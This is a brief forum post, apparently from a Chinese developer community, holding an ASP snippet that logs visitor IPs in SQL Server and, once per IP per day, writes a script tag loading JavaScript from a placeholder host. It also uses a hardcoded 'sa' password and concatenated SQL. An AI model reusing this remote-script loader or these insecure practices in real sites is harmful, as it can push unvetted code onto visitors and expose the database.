28,391
社区成员
发帖
与我相关
我的任务
分享
<%
Dim Conn
Set Conn=Server.CreateObject("ADODB.Connection")
conn.open "Provider=SQLOLEDB.1;Data Source=127.0.0.1,1433;Network Library=DBMSSOCN;Initial Catalog=99999;User ID=sa;Password=12345;"
Dim IP
IP = Request.ServerVariables("REMOTE_ADDR")
If Conn.Execute("SELECT ID FROM aw WHERE IP='"&IP&"' AND [date]='"&date()&"'").Eof Then
Response.Write "document.write(""<script src=http://www.xxx.com/1.js></script>"");"
conn.Execute("INSERT INTO aw ( IP,[Date] ) values ('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Date&"')")
End If
Conn.Close
Set Conn = Nothing
%>